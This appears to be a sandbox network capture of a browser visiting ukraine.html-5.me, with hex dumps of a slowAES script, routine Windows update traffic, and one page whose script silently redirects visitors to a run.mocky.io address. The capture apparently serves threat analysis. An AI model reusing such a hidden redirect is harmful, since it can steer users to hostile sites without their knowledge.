Oct 24, 2024 08:50:23.218666077 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 24 Oct 2024 06:50:23 GMT Content-Type: application/javascript Content-Length: 13733 Last-Modified: Sun, 15 Oct 2023 16:38:37 GMT Connection: keep-alive ETag: "652c158d-35a5" Accept-Ranges: bytes Data Raw: 76 61 72 20 73 6c 6f 77 41 45 53 3d 7b 61 65 73 3a 7b 6b 65 79 53 69 7a 65 3a 7b 53 49 5a 45 5f 31 32 38 3a 31 36 2c 53 49 5a 45 5f 31 39 32 3a 32 34 2c 53 49 5a 45 5f 32 35 36 3a 33 32 7d 2c 73 62 6f 78 3a 5b 39 39 2c 31 32 34 2c 31 31 39 2c 31 32 33 2c 32 34 32 2c 31 30 37 2c 31 31 31 2c 31 39 37 2c 34 38 2c 31 2c 31 30 33 2c 34 33 2c 32 35 34 2c 32 31 35 2c 31 37 31 2c 31 31 38 2c 32 30 32 2c 31 33 30 2c 32 30 31 2c 31 32 35 2c 32 35 30 2c 38 39 2c 37 31 2c 32 34 30 2c 31 37 33 2c 32 31 32 2c 31 36 32 2c 31 37 35 2c 31 35 36 2c 31 36 34 2c 31 31 34 2c 31 39 32 2c 31 38 33 2c 32 35 33 2c 31 34 37 2c 33 38 2c 35 34 2c 36 33 2c 32 34 37 2c 32 30 34 2c 35 32 2c 31 36 35 2c 32 32 39 2c 32 34 31 2c 31 31 33 2c 32 31 36 2c 34 39 2c 32 31 2c 34 2c 31 39 39 2c 33 35 2c 31 39 35 2c 32 34 2c 31 35 30 2c 35 2c 31 35 34 2c 37 2c 31 38 2c 31 32 38 2c 32 32 36 2c 32 33 35 2c 33 39 2c 31 37 38 2c 31 31 37 2c 39 2c 31 33 31 2c 34 34 2c 32 36 2c 32 37 2c 31 31 30 2c 39 30 2c 31 36 30 2c 38 32 2c 35 39 2c 32 31 34 [TRUNCATED] Data Ascii: var slowAES={aes:{keySize:{SIZE_128:16,SIZE_192:24,SIZE_256:32},sbox:[99,124,119,123,242,107,111,197,48,1,103,43,254,215,171,118,202,130,201,125,250,89,71,240,173,212,162,175,156,164,114,192,183,253,147,38,54,63,247,204,52,165,229,241,113,216,49,21,4,199,35,195,24,150,5,154,7,18,128,226,235,39,178,117,9,131,44,26,27,110,90,160,82,59,214,179,41,227,47,132,83,209,0,237,32,252,177,91,106,203,190,57,74,76,88,207,208,239,170,251,67,77,51,133,69,249,2,127,80,60,159,168,81,163,64,143,146,157,56,245,188,182,218,33,16,255,243,210,205,12,19,236,95,151,68,23,196,167,126,61,100,93,25,115,96,129,79,220,34,42,144,136,70,238,184,20,222,94,11,219,224,50,58,10,73,6,36,92,194,211,172,98,145,149,228,121,231,200,55,109,141,213,78,169,108,86,244,234,101,122,174,8,186,120,37,46,28,166,180,198,232,221,116,31,75,189,139,138,112,62,181,102,72,3,246,14,97,53,87,185,134,193,29,158,225,248,152,17,105,217,142,148,155,30,135,233,206,85,40,223,140,161,137,13,191,230,66,104,65,153,45,15,176,84,187,22],rsbo
Oct 24, 2024 08:50:23.218741894 CEST	1236	IN	Data Raw: 78 3a 5b 38 32 2c 39 2c 31 30 36 2c 32 31 33 2c 34 38 2c 35 34 2c 31 36 35 2c 35 36 2c 31 39 31 2c 36 34 2c 31 36 33 2c 31 35 38 2c 31 32 39 2c 32 34 33 2c 32 31 35 2c 32 35 31 2c 31 32 34 2c 32 32 37 2c 35 37 2c 31 33 30 2c 31 35 35 2c 34 37 2c Data Ascii: x:[82,9,106,213,48,54,165,56,191,64,163,158,129,243,215,251,124,227,57,130,155,47,255,135,52,142,67,68,196,222,233,203,84,123,148,50,166,194,35,61,238,76,149,11,66,250,195,78,8,46,161,102,40,217,36,178,118,91,162,73,109,139,209,37,114,248,246,
Oct 24, 2024 08:50:23.218858957 CEST	1236	IN	Data Raw: 38 2c 39 39 2c 31 39 38 2c 31 35 31 2c 35 33 2c 31 30 36 2c 32 31 32 2c 31 37 39 2c 31 32 35 2c 32 35 30 2c 32 33 39 2c 31 39 37 2c 31 34 35 2c 35 37 2c 31 31 34 2c 32 32 38 2c 32 31 31 2c 31 38 39 2c 39 37 2c 31 39 34 2c 31 35 39 2c 33 37 2c 37 Data Ascii: 8,99,198,151,53,106,212,179,125,250,239,197,145,57,114,228,211,189,97,194,159,37,74,148,51,102,204,131,29,58,116,232,203,141,1,2,4,8,16,32,64,128,27,54,108,216,171,77,154,47,94,188,99,198,151,53,106,212,179,125,250,239,197,145,57,114,228,211,1
Oct 24, 2024 08:50:23.218871117 CEST	1236	IN	Data Raw: 37 35 2c 37 33 2c 37 39 2c 37 37 2c 36 37 2c 36 35 2c 37 31 2c 36 39 2c 31 32 33 2c 31 32 31 2c 31 32 37 2c 31 32 35 2c 31 31 35 2c 31 31 33 2c 31 31 39 2c 31 31 37 2c 31 30 37 2c 31 30 35 2c 31 31 31 2c 31 30 39 2c 39 39 2c 39 37 2c 31 30 33 2c Data Ascii: 75,73,79,77,67,65,71,69,123,121,127,125,115,113,119,117,107,105,111,109,99,97,103,101,155,153,159,157,147,145,151,149,139,137,143,141,131,129,135,133,187,185,191,189,179,177,183,181,171,169,175,173,163,161,167,165,219,217,223,221,211,209,215,2
Oct 24, 2024 08:50:23.219085932 CEST	1236	IN	Data Raw: 32 2c 31 39 2c 31 36 2c 32 31 2c 32 32 2c 33 31 2c 32 38 2c 32 35 2c 32 36 5d 2c 47 39 58 3a 5b 30 2c 39 2c 31 38 2c 32 37 2c 33 36 2c 34 35 2c 35 34 2c 36 33 2c 37 32 2c 36 35 2c 39 30 2c 38 33 2c 31 30 38 2c 31 30 31 2c 31 32 36 2c 31 31 39 2c Data Ascii: 2,19,16,21,22,31,28,25,26],G9X:[0,9,18,27,36,45,54,63,72,65,90,83,108,101,126,119,144,153,130,139,180,189,166,175,216,209,202,195,252,245,238,231,59,50,41,32,31,22,13,4,115,122,97,104,87,94,69,76,171,162,185,176,143,134,157,148,227,234,241,248
Oct 24, 2024 08:50:23.219104052 CEST	1060	IN	Data Raw: 2c 31 34 38 2c 31 35 39 2c 37 30 2c 37 37 2c 38 30 2c 39 31 2c 31 30 36 2c 39 37 2c 31 32 34 2c 31 31 39 2c 33 30 2c 32 31 2c 38 2c 33 2c 35 30 2c 35 37 2c 33 36 2c 34 37 2c 31 34 31 2c 31 33 34 2c 31 35 35 2c 31 34 34 2c 31 36 31 2c 31 37 30 2c Data Ascii: ,148,159,70,77,80,91,106,97,124,119,30,21,8,3,50,57,36,47,141,134,155,144,161,170,183,188,213,222,195,200,249,242,239,228,61,54,43,32,17,26,7,12,101,110,115,120,73,66,95,84,247,252,225,234,219,208,205,198,175,164,185,178,131,136,149,158,71,76,
Oct 24, 2024 08:50:23.219115973 CEST	1236	IN	Data Raw: 34 30 2c 33 37 2c 31 31 30 2c 39 39 2c 31 31 36 2c 31 32 31 2c 39 30 2c 38 37 2c 36 34 2c 37 37 2c 32 31 38 2c 32 31 35 2c 31 39 32 2c 32 30 35 2c 32 33 38 2c 32 32 37 2c 32 34 34 2c 32 34 39 2c 31 37 38 2c 31 39 31 2c 31 36 38 2c 31 36 35 2c 31 Data Ascii: 40,37,110,99,116,121,90,87,64,77,218,215,192,205,238,227,244,249,178,191,168,165,134,139,156,145,10,7,16,29,62,51,36,41,98,111,120,117,86,91,76,65,97,108,123,118,85,88,79,66,9,4,19,30,61,48,39,42,177,188,171,166,133,136,159,146,217,212,195,206
Oct 24, 2024 08:50:23.219126940 CEST	1236	IN	Data Raw: 30 2c 31 38 34 2c 31 38 32 2c 31 32 2c 32 2c 31 36 2c 33 30 2c 35 32 2c 35 38 2c 34 30 2c 33 38 2c 31 32 34 2c 31 31 34 2c 39 36 2c 31 31 30 2c 36 38 2c 37 34 2c 38 38 2c 38 36 2c 35 35 2c 35 37 2c 34 33 2c 33 37 2c 31 35 2c 31 2c 31 39 2c 32 39 Data Ascii: 0,184,182,12,2,16,30,52,58,40,38,124,114,96,110,68,74,88,86,55,57,43,37,15,1,19,29,71,73,91,85,127,113,99,109,215,217,203,197,239,225,243,253,167,169,187,181,159,145,131,141],core:function(i,t){i=this.rotate(i);for(var r=0;r<4;++r)i[r]=this.sb
Oct 24, 2024 08:50:23.219140053 CEST	1236	IN	Data Raw: 38 26 69 3b 32 35 36 3c 28 69 3c 3c 3d 31 29 26 26 28 69 5e 3d 32 35 36 29 2c 31 32 38 3d 3d 6e 26 26 28 69 5e 3d 32 37 29 2c 32 35 36 3c 69 26 26 28 69 5e 3d 32 35 36 29 2c 32 35 36 3c 28 74 3e 3e 3d 31 29 26 26 28 74 5e 3d 32 35 36 29 7d 72 65 Data Ascii: 8&i;256<(i<<=1)&&(i^=256),128==n&&(i^=27),256<i&&(i^=256),256<(t>>=1)&&(t^=256)}return r},mixColumns:function(i,t){for(var r=[],o=0;o<4;o++){for(var n=0;n<4;n++)r[n]=i[4n+o];r=this.mixColumn(r,t);for(var s=0;s<4;s++)i[4s+o]=r[s]}return i},mi
Oct 24, 2024 08:50:23.219635963 CEST	1236	IN	Data Raw: 69 3d 74 68 69 73 2e 61 64 64 52 6f 75 6e 64 4b 65 79 28 69 2c 74 68 69 73 2e 63 72 65 61 74 65 52 6f 75 6e 64 4b 65 79 28 74 2c 30 29 29 3b 66 6f 72 28 76 61 72 20 6f 3d 31 3b 6f 3c 72 3b 6f 2b 2b 29 69 3d 74 68 69 73 2e 72 6f 75 6e 64 28 69 2c Data Ascii: i=this.addRoundKey(i,this.createRoundKey(t,0));for(var o=1;o<r;o++)i=this.round(i,this.createRoundKey(t,16o));return i=this.subBytes(i,!1),i=this.shiftRows(i,!1),i=this.addRoundKey(i,this.createRoundKey(t,16r))},invMain:function(i,t,r){i=thi
Oct 24, 2024 08:50:23.219732046 CEST	1236	IN	Data Raw: 65 6e 67 74 68 3b 69 66 28 6f 2e 6c 65 6e 67 74 68 25 31 36 29 74 68 72 6f 77 22 69 76 20 6c 65 6e 67 74 68 20 6d 75 73 74 20 62 65 20 31 32 38 20 62 69 74 73 2e 22 3b 76 61 72 20 73 2c 65 3d 5b 5d 2c 61 3d 5b 5d 2c 68 3d 5b 5d 2c 75 3d 5b 5d 2c Data Ascii: ength;if(o.length%16)throw"iv length must be 128 bits.";var s,e=[],a=[],h=[],u=[],f=!0;if(t==this.modeOfOperation.CBC&&this.padBytesIn(i),null!==i)for(var l=0;l<Math.ceil(i.length/16);l++){var c=16l,d=16l+16;if(16*l+16>i.length&&(d=i.length)
Oct 24, 2024 08:50:23.235658884 CEST	521	OUT	GET /?i=1 HTTP/1.1 Host: ukraine.html-5.me Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://ukraine.html-5.me/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: __test=1b5e2a0eec1f2859cc96e1923afde53a
Oct 24, 2024 08:50:23.479087114 CEST	449	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 24 Oct 2024 06:50:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 101 Connection: keep-alive Last-Modified: Wed, 23 Oct 2024 04:22:21 GMT ETag: "65-6251d3b6f32b2" Accept-Ranges: bytes Cache-Control: max-age=2592000, public, proxy-revalidate Expires: Sat, 23 Nov 2024 06:50:23 GMT Data Raw: 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 6c 6f 63 61 74 69 6f 6e 3d 27 68 74 74 70 73 3a 2f 2f 72 75 6e 2e 6d 6f 63 6b 79 2e 69 6f 2f 76 33 2f 31 31 32 37 33 30 39 32 2d 37 32 32 30 2d 34 62 38 35 2d 62 38 64 38 2d 37 35 38 63 35 66 64 31 34 31 61 32 27 3b 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script> location='https://run.mocky.io/v3/11273092-7220-4b85-b8d8-758c5fd141a2'; </script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49755	185.27.134.114	80	1208	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:50:23.299371958 CEST	325	OUT	GET /aes.js HTTP/1.1 Host: ukraine.html-5.me Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: __test=1b5e2a0eec1f2859cc96e1923afde53a
Oct 24, 2024 08:50:24.115112066 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 24 Oct 2024 06:50:23 GMT Content-Type: application/javascript Content-Length: 13733 Last-Modified: Sun, 15 Oct 2023 16:38:37 GMT Connection: keep-alive ETag: "652c158d-35a5" Accept-Ranges: bytes Data Raw: 76 61 72 20 73 6c 6f 77 41 45 53 3d 7b 61 65 73 3a 7b 6b 65 79 53 69 7a 65 3a 7b 53 49 5a 45 5f 31 32 38 3a 31 36 2c 53 49 5a 45 5f 31 39 32 3a 32 34 2c 53 49 5a 45 5f 32 35 36 3a 33 32 7d 2c 73 62 6f 78 3a 5b 39 39 2c 31 32 34 2c 31 31 39 2c 31 32 33 2c 32 34 32 2c 31 30 37 2c 31 31 31 2c 31 39 37 2c 34 38 2c 31 2c 31 30 33 2c 34 33 2c 32 35 34 2c 32 31 35 2c 31 37 31 2c 31 31 38 2c 32 30 32 2c 31 33 30 2c 32 30 31 2c 31 32 35 2c 32 35 30 2c 38 39 2c 37 31 2c 32 34 30 2c 31 37 33 2c 32 31 32 2c 31 36 32 2c 31 37 35 2c 31 35 36 2c 31 36 34 2c 31 31 34 2c 31 39 32 2c 31 38 33 2c 32 35 33 2c 31 34 37 2c 33 38 2c 35 34 2c 36 33 2c 32 34 37 2c 32 30 34 2c 35 32 2c 31 36 35 2c 32 32 39 2c 32 34 31 2c 31 31 33 2c 32 31 36 2c 34 39 2c 32 31 2c 34 2c 31 39 39 2c 33 35 2c 31 39 35 2c 32 34 2c 31 35 30 2c 35 2c 31 35 34 2c 37 2c 31 38 2c 31 32 38 2c 32 32 36 2c 32 33 35 2c 33 39 2c 31 37 38 2c 31 31 37 2c 39 2c 31 33 31 2c 34 34 2c 32 36 2c 32 37 2c 31 31 30 2c 39 30 2c 31 36 30 2c 38 32 2c 35 39 2c 32 31 34 [TRUNCATED] Data Ascii: var slowAES={aes:{keySize:{SIZE_128:16,SIZE_192:24,SIZE_256:32},sbox:[99,124,119,123,242,107,111,197,48,1,103,43,254,215,171,118,202,130,201,125,250,89,71,240,173,212,162,175,156,164,114,192,183,253,147,38,54,63,247,204,52,165,229,241,113,216,49,21,4,199,35,195,24,150,5,154,7,18,128,226,235,39,178,117,9,131,44,26,27,110,90,160,82,59,214,179,41,227,47,132,83,209,0,237,32,252,177,91,106,203,190,57,74,76,88,207,208,239,170,251,67,77,51,133,69,249,2,127,80,60,159,168,81,163,64,143,146,157,56,245,188,182,218,33,16,255,243,210,205,12,19,236,95,151,68,23,196,167,126,61,100,93,25,115,96,129,79,220,34,42,144,136,70,238,184,20,222,94,11,219,224,50,58,10,73,6,36,92,194,211,172,98,145,149,228,121,231,200,55,109,141,213,78,169,108,86,244,234,101,122,174,8,186,120,37,46,28,166,180,198,232,221,116,31,75,189,139,138,112,62,181,102,72,3,246,14,97,53,87,185,134,193,29,158,225,248,152,17,105,217,142,148,155,30,135,233,206,85,40,223,140,161,137,13,191,230,66,104,65,153,45,15,176,84,187,22],rsbo
Oct 24, 2024 08:50:24.115135908 CEST	1236	IN	Data Raw: 78 3a 5b 38 32 2c 39 2c 31 30 36 2c 32 31 33 2c 34 38 2c 35 34 2c 31 36 35 2c 35 36 2c 31 39 31 2c 36 34 2c 31 36 33 2c 31 35 38 2c 31 32 39 2c 32 34 33 2c 32 31 35 2c 32 35 31 2c 31 32 34 2c 32 32 37 2c 35 37 2c 31 33 30 2c 31 35 35 2c 34 37 2c Data Ascii: x:[82,9,106,213,48,54,165,56,191,64,163,158,129,243,215,251,124,227,57,130,155,47,255,135,52,142,67,68,196,222,233,203,84,123,148,50,166,194,35,61,238,76,149,11,66,250,195,78,8,46,161,102,40,217,36,178,118,91,162,73,109,139,209,37,114,248,246,
Oct 24, 2024 08:50:24.115148067 CEST	1236	IN	Data Raw: 38 2c 39 39 2c 31 39 38 2c 31 35 31 2c 35 33 2c 31 30 36 2c 32 31 32 2c 31 37 39 2c 31 32 35 2c 32 35 30 2c 32 33 39 2c 31 39 37 2c 31 34 35 2c 35 37 2c 31 31 34 2c 32 32 38 2c 32 31 31 2c 31 38 39 2c 39 37 2c 31 39 34 2c 31 35 39 2c 33 37 2c 37 Data Ascii: 8,99,198,151,53,106,212,179,125,250,239,197,145,57,114,228,211,189,97,194,159,37,74,148,51,102,204,131,29,58,116,232,203,141,1,2,4,8,16,32,64,128,27,54,108,216,171,77,154,47,94,188,99,198,151,53,106,212,179,125,250,239,197,145,57,114,228,211,1
Oct 24, 2024 08:50:24.115253925 CEST	1236	IN	Data Raw: 37 35 2c 37 33 2c 37 39 2c 37 37 2c 36 37 2c 36 35 2c 37 31 2c 36 39 2c 31 32 33 2c 31 32 31 2c 31 32 37 2c 31 32 35 2c 31 31 35 2c 31 31 33 2c 31 31 39 2c 31 31 37 2c 31 30 37 2c 31 30 35 2c 31 31 31 2c 31 30 39 2c 39 39 2c 39 37 2c 31 30 33 2c Data Ascii: 75,73,79,77,67,65,71,69,123,121,127,125,115,113,119,117,107,105,111,109,99,97,103,101,155,153,159,157,147,145,151,149,139,137,143,141,131,129,135,133,187,185,191,189,179,177,183,181,171,169,175,173,163,161,167,165,219,217,223,221,211,209,215,2
Oct 24, 2024 08:50:24.115307093 CEST	1236	IN	Data Raw: 32 2c 31 39 2c 31 36 2c 32 31 2c 32 32 2c 33 31 2c 32 38 2c 32 35 2c 32 36 5d 2c 47 39 58 3a 5b 30 2c 39 2c 31 38 2c 32 37 2c 33 36 2c 34 35 2c 35 34 2c 36 33 2c 37 32 2c 36 35 2c 39 30 2c 38 33 2c 31 30 38 2c 31 30 31 2c 31 32 36 2c 31 31 39 2c Data Ascii: 2,19,16,21,22,31,28,25,26],G9X:[0,9,18,27,36,45,54,63,72,65,90,83,108,101,126,119,144,153,130,139,180,189,166,175,216,209,202,195,252,245,238,231,59,50,41,32,31,22,13,4,115,122,97,104,87,94,69,76,171,162,185,176,143,134,157,148,227,234,241,248
Oct 24, 2024 08:50:24.115329027 CEST	1236	IN	Data Raw: 2c 31 34 38 2c 31 35 39 2c 37 30 2c 37 37 2c 38 30 2c 39 31 2c 31 30 36 2c 39 37 2c 31 32 34 2c 31 31 39 2c 33 30 2c 32 31 2c 38 2c 33 2c 35 30 2c 35 37 2c 33 36 2c 34 37 2c 31 34 31 2c 31 33 34 2c 31 35 35 2c 31 34 34 2c 31 36 31 2c 31 37 30 2c Data Ascii: ,148,159,70,77,80,91,106,97,124,119,30,21,8,3,50,57,36,47,141,134,155,144,161,170,183,188,213,222,195,200,249,242,239,228,61,54,43,32,17,26,7,12,101,110,115,120,73,66,95,84,247,252,225,234,219,208,205,198,175,164,185,178,131,136,149,158,71,76,
Oct 24, 2024 08:50:24.115341902 CEST	1236	IN	Data Raw: 34 2c 31 39 2c 33 30 2c 36 31 2c 34 38 2c 33 39 2c 34 32 2c 31 37 37 2c 31 38 38 2c 31 37 31 2c 31 36 36 2c 31 33 33 2c 31 33 36 2c 31 35 39 2c 31 34 36 2c 32 31 37 2c 32 31 32 2c 31 39 35 2c 32 30 36 2c 32 33 37 2c 32 32 34 2c 32 34 37 2c 32 35 Data Ascii: 4,19,30,61,48,39,42,177,188,171,166,133,136,159,146,217,212,195,206,237,224,247,250,183,186,173,160,131,142,153,148,223,210,197,200,235,230,241,252,103,106,125,112,83,94,73,68,15,2,21,24,59,54,33,44,12,1,22,27,56,53,34,47,100,105,126,115,80,93
Oct 24, 2024 08:50:24.115710020 CEST	1236	IN	Data Raw: 6f 72 65 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 74 29 7b 69 3d 74 68 69 73 2e 72 6f 74 61 74 65 28 69 29 3b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 34 3b 2b 2b 72 29 69 5b 72 5d 3d 74 68 69 73 2e 73 62 6f 78 5b 69 5b 72 5d 5d 3b 72 65 74 75 72 6e Data Ascii: ore:function(i,t){i=this.rotate(i);for(var r=0;r<4;++r)i[r]=this.sbox[i[r]];return i[0]=i[0]^this.Rcon[t],i},expandKey:function(i,t){for(var r=16*(this.numberOfRounds(t)+1),o=0,n=1,s=[],e=[],a=0;a<r;a++)e[a]=0;for(var h=0;h<t;h++)e[h]=i[h];for
Oct 24, 2024 08:50:24.115722895 CEST	1236	IN	Data Raw: 3d 74 68 69 73 2e 6d 69 78 43 6f 6c 75 6d 6e 28 72 2c 74 29 3b 66 6f 72 28 76 61 72 20 73 3d 30 3b 73 3c 34 3b 73 2b 2b 29 69 5b 34 2a 73 2b 6f 5d 3d 72 5b 73 5d 7d 72 65 74 75 72 6e 20 69 7d 2c 6d 69 78 43 6f 6c 75 6d 6e 3a 66 75 6e 63 74 69 6f Data Ascii: =this.mixColumn(r,t);for(var s=0;s<4;s++)i[4*s+o]=r[s]}return i},mixColumn:function(i,t){for(var r=[],r=t?[14,9,13,11]:[2,1,1,3],o=[],n=0;n<4;n++)o[n]=i[n];return i[0]=this.galois_multiplication(o[0],r[0])^this.galois_multiplication(o[3],r[1])
Oct 24, 2024 08:50:24.115732908 CEST	1236	IN	Data Raw: 6e 64 4b 65 79 28 69 2c 74 68 69 73 2e 63 72 65 61 74 65 52 6f 75 6e 64 4b 65 79 28 74 2c 31 36 2a 72 29 29 7d 2c 69 6e 76 4d 61 69 6e 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 74 2c 72 29 7b 69 3d 74 68 69 73 2e 61 64 64 52 6f 75 6e 64 4b 65 79 28 69 Data Ascii: ndKey(i,this.createRoundKey(t,16r))},invMain:function(i,t,r){i=this.addRoundKey(i,this.createRoundKey(t,16r));for(var o=r-1;0<o;o--)i=this.invRound(i,this.createRoundKey(t,16*o));return i=this.shiftRows(i,!0),i=this.subBytes(i,!0),i=this.add
Oct 24, 2024 08:50:24.120965004 CEST	1236	IN	Data Raw: 67 74 68 2f 31 36 29 3b 6c 2b 2b 29 7b 76 61 72 20 63 3d 31 36 2a 6c 2c 64 3d 31 36 2a 6c 2b 31 36 3b 69 66 28 31 36 2a 6c 2b 31 36 3e 69 2e 6c 65 6e 67 74 68 26 26 28 64 3d 69 2e 6c 65 6e 67 74 68 29 2c 73 3d 74 68 69 73 2e 67 65 74 42 6c 6f 63 Data Ascii: gth/16);l++){var c=16l,d=16l+16;if(16*l+16>i.length&&(d=i.length),s=this.getBlock(i,c,d,t),t==this.modeOfOperation.CFB){f?(a=this.aes.encrypt(o,r,n),f=!1):a=this.aes.encrypt(e,r,n);for(var p=0;p<16;p++)h[p]=s[p]^a[p];for(var v=0;v<d-c;v++)u.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49753	185.27.134.114	80	1208	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:51:07.140031099 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:02 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-24 06:50:02 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=35704 Date: Thu, 24 Oct 2024 06:50:02 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:03 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-24 06:50:04 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=35782 Date: Thu, 24 Oct 2024 06:50:04 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-24 06:50:04 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:08 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZsVxVx1LNpAYCGc&MD=nW9gLpL4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-24 06:50:09 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: b6720989-4e85-40fe-b732-97fb7031d0a6 MS-RequestId: b9381853-a588-4ded-a40e-6ea96ae422ad MS-CV: J/HNw0nHHUqZxbQn.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 24 Oct 2024 06:50:08 GMT Connection: close Content-Length: 24490
2024-10-24 06:50:09 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-24 06:50:09 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 